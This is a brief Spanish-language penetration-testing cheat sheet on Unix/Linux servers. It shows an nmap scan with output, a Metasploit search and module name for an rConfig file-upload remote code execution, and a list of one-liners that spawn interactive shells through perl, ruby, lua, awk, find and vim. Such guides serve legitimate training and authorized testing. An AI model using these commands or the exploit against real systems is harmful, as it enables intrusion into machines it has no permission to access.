Unix/Linux Shell

Más del 70% servidores web corren en Unix/Linux
Consideraciones Iniciales
  • Identificar la distribución de Linux y sus características (ej., CentOS, Ubuntu).
  • Determinar qué aplicaciones están siendo alojadas y su rol en la red.
  • Comprobar vulnerabilidades conocidas en esas aplicaciones.

Enumeración de objetivo

terminal
$ nmap -sC -sV <IP>​21/tcp   open  ftp      vsftpd 2.0.8 or later22/tcp   open  ssh      OpenSSH 7.4 (protocol 2.0)80/tcp   open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34)443/tcp  open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34)3306/tcp open  mysql    MySQL (unauthorized)

Investigación de vulnerabilidades

rConfig 3.9.6 parece ser vulnerable. Buscar en Metasploit:
terminal
msf6 > search rconfig

Usamos módulo de metasploit

terminal
$ use exploit/linux/http/rconfig_vendors_auth_file_upload_rce

Conseguir Shells Interactivas

  • Método: Comando
  • Bourne Shell: /bin/sh -i
  • Perl: perl -e 'exec "/bin/sh";'
  • Ruby: ruby -e 'exec "/bin/sh";'
  • Lua: lua -e 'os.execute("/bin/sh")'
  • AWK: awk 'BEGIN {system("/bin/sh")}'
  • Find (Exec): find . -exec /bin/sh \; -quit
  • VIM: vim -c ':!/bin/sh'
  • Permisos sudo: sudo -l